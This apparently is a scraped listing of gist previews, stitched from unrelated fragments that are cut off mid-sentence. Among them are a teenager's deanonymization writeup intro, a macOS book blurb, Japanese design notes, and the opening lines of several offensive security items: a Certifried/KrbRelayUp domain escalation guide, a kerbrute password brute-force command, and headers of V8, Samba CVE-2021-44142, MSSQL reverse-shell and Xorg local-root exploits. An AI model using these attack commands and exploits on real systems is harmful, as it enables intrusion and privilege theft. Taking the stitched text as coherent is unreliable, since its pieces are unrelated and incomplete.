lck0

hi, i'm daniel. i'm a 15-year-old high school junior. in my free time, i hack billion dollar companies and build cool stuff.

3 months ago, I discovered a unique 0-click deanonymization attack that allows an attacker to grab the location of any target within a 250 mile radius. With a vulnerable app installed on a target's phone (or as a background application on their laptop), an attacker can send a malicious payload and deanonymize you within seconds--and you wouldn't even know.

I'm publishing this writeup and research as a warning, especially for journalists, activists, and hackers, about this type of undetectable attack. Hundreds of applications are vulnerable, including some of the most popular apps in the world: Signal, Discord, Twitter/X, and others. Here's how it works:

Cloudflare

By the numbers, Cloudflare is easily the most popular CDN on the market. It beats out competitors such as Sucuri, Amazon CloudFront, Akamai, and Fastly. In 2019, a major Cloudflare outage k

macOS Internals

Understand your Mac and iPhone more deeply by tracing the evolution of Mac OS X from prelease to Swift. John Siracusa delivers the details.

Starting Points

How to use this gist

You've got two main options:

Certifried combined with KrbRelayUp

Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.

The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.

Prerequisites:

2020/5/31追記: 自分用のメモに書いていたつもりだったのですが、たくさんのスターを頂けてとても嬉しいです。
と同時に、書きかけで中途半端な状態のドキュメントをご覧いただくことになっており、大変心苦しく思っています。

このドキュメントを完成させるために、今後以下のような更新を予定しています。

TODO部分を埋める
書籍を基にした理論・原則パートと、実装例パートを分割
- 現在は4層のレイヤそれぞれごとに原則の確認→実装時の課題リスト→実装例という構成ですが、同じリポジトリへの言及箇所がバラバラになってしまう問題がありました。更新後は、実装時の課題リストを全て洗い出した後にまとめて実装を確認する構成とする予定です。

2021/1/22追記:

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

	// POC Exploit for v8 issue 1104608 (https://bugs.chromium.org/p/chromium/issues/detail?id=1104608)
	// author: @mistymntncop
	// bug discovered by: @r3tr0spect2019
	// Exploit strategy based on @r3tr0spect2019's "Real World CTF" presentation on the bug.
	// https://www.youtube.com/watch?v=rSaIlBWwxsY
	//
	// Build d8 using:
	// a) Run once
	// git checkout 3505cf00eb4c59b87f4b5ec9fc702f7935fdffd0
	// gclient sync --with_branch_heads

	# Written by pagabuc, run with the following:
	# gdb --batch --nx -q -x extract_offsets.py ./vmlinux
	# This script finds kernel objects that contain function pointers and with size between 1024 and 2048.
	# Nested structure types are traversed recursively.

	import gdb
	import re

	struct_regex = re.compile("(struct [a-zA-Z0-9_]*)")

	# CVE-2021-44142 PoC Samba 4.15.0 OOB Read/Write
	# (C) 2022 - 0xSha.io - @0xSha
	# This PoC is un-weaponized and for educational purposes only .
	# To learn how to use the PoC please read the writeup :
	# https://0xsha.io/blog/a-samba-horror-story-cve-2021-44142
	# requires samba4-python

	# Refrences :
	# https://www.thezdi.com/blog/2022/2/1/cve-2021-44142-details-on-a-samba-code-execution-bug-demonstrated-at-pwn2own-austin
	# Patch : https://attachments.samba.org/attachment.cgi?id=17092

	import sys
	import requests
	import threading
	import base64
	from html.parser import HTMLParser
	from http.server import BaseHTTPRequestHandler, HTTPServer

	'''
	Description: Reverse MSSQL shell through xp_cmdshell + certutil for exfiltration
	Author: @xassiz

	#!/bin/bash
	# x0rg - Xorg Local Root Exploit
	# Released under the Snitches Get Stitches Public Licence.
	# props to prdelka / fantastic for the shadow vector.
	# Gr33tz to everyone in #lizardhq and elsewhere <3
	# ~infodox (25/10/2018)
	# FREE LAURI LOVE!
	echo "x0rg"
	echo "[+] First, we create our shell and library..."
	cat << EOF > /tmp/libhax.c